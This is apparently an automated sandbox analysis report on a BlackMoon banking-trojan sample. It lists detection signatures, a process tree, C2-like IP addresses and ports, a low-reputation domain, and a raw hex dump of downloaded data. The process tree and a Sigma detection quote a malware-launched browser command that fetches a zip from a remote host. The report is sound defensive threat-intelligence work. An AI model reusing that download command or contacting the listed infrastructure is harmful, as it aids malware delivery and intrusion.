Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe
Analysis ID:	1537425
MD5:	69885c444a95500286ec5fe05e564990
SHA1:	d8b1bec23932c607cfe420496f3f80bde9207955
SHA256:	526d2385da97308568e905d976dd976b95dc8f0c1f7d5155e543c6825b74dc46
Tags:	exe
Infos:

Detection

BlackMoon

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected BlackMoon Ransomware

AI detected suspicious sample

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Downloads suspicious files via Chrome

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Uses known network protocols on non-standard ports

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample file is different than original file name gathered from version info

Sigma detected: File Download From Browser Process Via Inline URL

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe (PID: 6540 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe" MD5: 69885C444A95500286EC5FE05E564990)

[ ].exe (PID: 3856 cmdline: "C:\Users\user\Desktop\ [ ].exe" MD5: 69885C444A95500286EC5FE05E564990)

chrome.exe (PID: 1784 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://dl.360safe.com/360c0mpkill5.1.64.1238-0809.zip MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2044,i,3045292741870776026,11187403840259620879,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
KrBanker, BlackMoon	ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.	No Attribution	http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/ https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/ https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan https://www.rapid7.com/blog/post/2023/07/13/old-blackmoon-trojan-new-monetization-approach/	https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x9fd28:$s1: blackmoon 0x9fd68:$s2: BlackMoon RunTime Error:
00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe PID: 6540	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: [ ].exe PID: 3856	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: [ ].exe PID: 3856	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2dc8e42.1.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.3.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2dc8e42.1.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x48f12:$s1: blackmoon 0x48f52:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.2ffee3e.2.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.2ffee3e.2.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x48f12:$s1: blackmoon 0x48f52:$s2: BlackMoon RunTime Error:
0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2dc7e3e.5.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2dc7e3e.5.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x48f12:$s1: blackmoon 0x48f52:$s2: BlackMoon RunTime Error:
0.3.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2e93e3e.2.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.3.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2e93e3e.2.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x48f12:$s1: blackmoon 0x48f52:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.665ea90.11.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.665ea90.11.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.3. [ ].exe.665ea90.11.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x459e8:$s1: blackmoon 0x45a28:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.644ea90.7.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.644ea90.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.3. [ ].exe.644ea90.7.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x459e8:$s1: blackmoon 0x45a28:$s2: BlackMoon RunTime Error:
0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2bc6e16.4.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2bc6e16.4.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x48f12:$s1: blackmoon 0x48f52:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.665a1f0.10.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.665a1f0.10.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.3. [ ].exe.665a1f0.10.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x4a288:$s1: blackmoon 0x4a2c8:$s2: BlackMoon RunTime Error:
0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2b70000.3.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2b70000.3.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x9fd28:$s1: blackmoon 0x9fd68:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.643f26c.6.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.643f26c.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.3. [ ].exe.643f26c.6.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x5520c:$s1: blackmoon 0x5524c:$s2: BlackMoon RunTime Error:
0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2b70000.3.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2b70000.3.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x9fd28:$s1: blackmoon 0x9fd68:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.2f31e42.1.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.2f31e42.1.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x48f12:$s1: blackmoon 0x48f52:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.664f26c.9.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.664f26c.9.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.3. [ ].exe.664f26c.9.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x5520c:$s1: blackmoon 0x5524c:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.644a1f0.8.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.644a1f0.8.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.3. [ ].exe.5c3826c.4.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.5c3826c.4.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.3. [ ].exe.5c47a90.5.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.644a1f0.8.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x4a288:$s1: blackmoon 0x4a2c8:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.5c47a90.5.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.3. [ ].exe.5c3826c.4.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x5520c:$s1: blackmoon 0x5524c:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.5c47a90.5.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x459e8:$s1: blackmoon 0x45a28:$s2: BlackMoon RunTime Error:
2.3. [ ].exe.5c431f0.3.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
2.3. [ ].exe.5c431f0.3.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.3. [ ].exe.5c431f0.3.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x4a288:$s1: blackmoon 0x4a2c8:$s2: BlackMoon RunTime Error:
Click to see the 38 entries

Sigma Signatures

System Summary

Sigma detected: File Download From Browser Process Via Inline URL

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://dl.360safe.com/360c0mpkill5.1.64.1238-0809.zip, CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://dl.360safe.com/360c0mpkill5.1.64.1238-0809.zip, CommandLine|base64offset|contains: -j~b,, Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\ [ ].exe", ParentImage: C:\Users\user\Desktop\ [ ].exe, ParentProcessId: 3856, ParentProcessName: [ ].exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://dl.360safe.com/360c0mpkill5.1.64.1238-0809.zip, ProcessId: 1784, ProcessName: chrome.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B8CD16 CryptAcquireContextA,CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,CryptReleaseContext,

0_2_02B8CD16

Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49887 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49940 version: TLS 1.2

Source:	Binary string: \x64\Release\Infinity.pdb source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\sys\x64\Release\ProcExpDriver.pdb source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\unrardll32\Release\UnRAR.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB8C60 FindFirstFileA,FindClose,		0_2_02BB8C60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB9BD0 FindClose,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,FindNextFileA,FindNextFileA,		0_2_02BB9BD0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B82930 GetLogicalDriveStringsA,

0_2_02B82930

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 4x nop then mov eax, dword ptr [esi]

0_2_02B8C4BE

Networking

Performs DNS queries to domains with low reputation

Source:

DNS query: kfbb.dewfrevrwde.xyz

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 1010
Source: unknown	Network traffic detected: HTTP traffic on port 1010 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 9889
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 9889
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 9889
Source: unknown	Network traffic detected: HTTP traffic on port 9889 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 9889 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 9889 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 9889
Source: unknown	Network traffic detected: HTTP traffic on port 9889 -> 49720

Source: global traffic	TCP traffic: 192.168.2.5:49704 -> 115.236.153.253:511
Source: global traffic	TCP traffic: 192.168.2.5:49705 -> 45.124.79.208:300
Source: global traffic	TCP traffic: 192.168.2.5:49706 -> 45.124.79.198:300
Source: global traffic	TCP traffic: 192.168.2.5:49707 -> 103.192.208.26:300
Source: global traffic	TCP traffic: 192.168.2.5:49708 -> 103.192.208.24:300
Source: global traffic	TCP traffic: 192.168.2.5:49709 -> 115.236.153.243:300
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 115.236.153.230:300
Source: global traffic	TCP traffic: 192.168.2.5:49712 -> 103.192.208.122:300
Source: global traffic	TCP traffic: 192.168.2.5:49711 -> 103.192.208.114:300
Source: global traffic	TCP traffic: 192.168.2.5:49713 -> 43.248.186.137:1010
Source: global traffic	TCP traffic: 192.168.2.5:49714 -> 61.147.93.109:9889
Source: global traffic	TCP traffic: 192.168.2.5:49716 -> 61.147.93.70:9889
Source: global traffic	TCP traffic: 192.168.2.5:49717 -> 61.147.93.189:9889
Source: global traffic	TCP traffic: 192.168.2.5:49720 -> 61.147.93.116:9889

Source: global traffic	TCP traffic: 192.168.2.5:53058 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:55635 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 104.192.108.20 104.192.108.20

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49887 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.253
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.253
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.253
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.253
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.253
Source: unknown	TCP traffic detected without corresponding DNS query: 45.124.79.208
Source: unknown	TCP traffic detected without corresponding DNS query: 45.124.79.198
Source: unknown	TCP traffic detected without corresponding DNS query: 45.124.79.208
Source: unknown	TCP traffic detected without corresponding DNS query: 45.124.79.198
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.26
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.24
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.26
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.24
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.243
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.230
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.122
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.114
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.243
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.230
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.114
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.122
Source: unknown	TCP traffic detected without corresponding DNS query: 45.124.79.208
Source: unknown	TCP traffic detected without corresponding DNS query: 45.124.79.198
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.114
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.122
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.230
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.243
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.24
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.26
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 45.124.79.208
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.114
Source: unknown	TCP traffic detected without corresponding DNS query: 45.124.79.198
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.122
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.230
Source: unknown	TCP traffic detected without corresponding DNS query: 115.236.153.243
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.24
Source: unknown	TCP traffic detected without corresponding DNS query: 103.192.208.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.124.79.208
Source: unknown	TCP traffic detected without corresponding DNS query: 43.248.186.137
Source: unknown	TCP traffic detected without corresponding DNS query: 43.248.186.137
Source: unknown	TCP traffic detected without corresponding DNS query: 43.248.186.137
Source: unknown	TCP traffic detected without corresponding DNS query: 43.248.186.137
Source: unknown	TCP traffic detected without corresponding DNS query: 61.147.93.116

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02BB2DAB LocalAlloc,recv,accept,LocalFree,

0_2_02BB2DAB

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 18 Oct 2024 21:46:31 GMTContent-Type: application/zipContent-Length: 36849564Connection: keep-aliveExpires: Fri, 18 Oct 2024 21:56:31 GMTLast-Modified: Fri, 09 Aug 2019 11:12:34 GMTCache-Control: s-maxage=600, max-age=600KCS-Via: HIT from w-f04.lato;MISS from back-f04.dl.lato;REVALIDATED from w-subsrc02.latoK-Cache-status: MISSAccept-Ranges: bytesData Raw: 50 4b 03 04 14 00 08 00 08 00 47 8d 09 4f 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 33 36 30 63 6f 6d 70 6b 69 6c 6c 36 34 2f 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 00 08 00 47 8d 09 4f 00 00 00 00 00 00 00 00 00 00 00 00 29 00 00 00 33 36 30 63 6f 6d 70 6b 69 6c 6c 36 34 2f 33 36 30 bc b1 be c8 cf e4 d4 cb d0 d0 b2 bb c1 cb c7 eb b5 e3 ce d2 2e 62 61 74 9d 53 b1 6a 1b 41 10 ed 0f ee 1f c6 0b 13 24 5b 8a 24 dc 04 c1 41 1a 57 49 1a eb 0b 2e b7 2b 6e f1 ad 4e b9 5d 81 ae f1 3f b9 50 a1 48 c2 21 09 48 89 1b 09 0b e3 da 2e 5c 18 55 c1 a4 08 18 cf de 9d 8d 12 64 05 dc cd 0c 6f de 9b 37 3b fb 56 04 61 0c 71 bb ed 3a 46 9a 48 78 b3 9b e1 9f 93 d1 8f 93 d9 ea cb 70 72 09 d3 db c1 f5 e8 f7 f2 e7 7c e5 3a ae 13 70 c0 63 de ad db 58 0b 03 2a ed f8 4a 78 45 cd 56 00 82 b8 d7 31 1e a5 ed 38 01 44 09 b2 03 a5 dd 56 af 2b 92 77 32 8a 44 f2 5a f4 45 19 78 0c 81 1f 45 d0 f4 39 b7 74 b2 4d bd 35 09 80 19 01 02 bc 6f b5 00 1a 54 2d 65 33 4e 6f cf bf 2d 86 67 77 b3 d5 f8 7e 72 b5 18 7e fe 55 19 4c be 9f 7e 1d 5f cc 97 67 f3 f9 4e 79 3b 47 d7 ef 69 f1 1f 8c e8 4b 53 b6 c3 70 11 41 8d 80 b5 4f c0 30 37 89 48 fd 49 16 ed 5a 07 cc e2 72 93 84 64 26 3e 12 1d ed 35 aa fb 40 cd 52 69 af ca c8 bd 9f b9 67 c8 7d 23 9a c7 f5 4a a3 8e 2c f3 5e 4a 84 72 9d f2 2b bb 33 96 a6 1e 41 59 9e 28 45 c9 c7 22 e1 9c 92 80 6d 57 6a ae 2b 19 a9 32 a5 37 1b 84 6a 3e b0 30 5c d7 92 6b 5a 5a 3f 69 1d 1e 7c 80 bf 9e ef e9 cd 2c d2 84 69 8f a0 f2 11 19 c4 dd 94 f6 64 cb c8 36 2d ac 8a 69 8a a8 14 22 e7 88 61 48 b1 44 d4 1a ab c5 26 2d 8b 36 7e 42 53 bc 8c 80 4e 33 1f a2 68 fd e7 dc 9e 21 dd 40 b4 7d 8a 8d ca f9 05 e7 c7 4f 1b 7e fc 01 c5 7d ed 35 c0 75 1e 00 50 4b 07 08 1c 3e ae c5 ab 01 00 00 66 03 00 00 50 4b 03 04 14 00 08 00 08 00 47 8d 09 4f 00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 33 36 30 63 6f 6d 70 6b 69 6c 6c 36 34 2f 61 76 65 2f 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 00 08 00 47 8d 09 4f 00 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 33 36 30 63 6f 6d 70 6b 69 6c 6c 36 34 2f 61 76 65 2f 33 36 30 61 76 65 2e 64 65 66 8c 7d 07 54 53 cb f6 77 02 81 14 12 08 88 1d ac 88 62 25 01 12 44 09 8a 62 17 45 44 51 51 51 81 68 40 44 8a 62 05 15 24 80 a0 62 c1 8e bd e0 55 ae 15 0b 88 dd 8b d8 7b ef 42 24 90 28 f6 46 be bd e7 24 e7 e0 fb bf fb d6 e7 5a 2e b7 99 9c c9 94 5d 7f b3 f7 1c 99 48 6f cd 67 51 7f dc 44 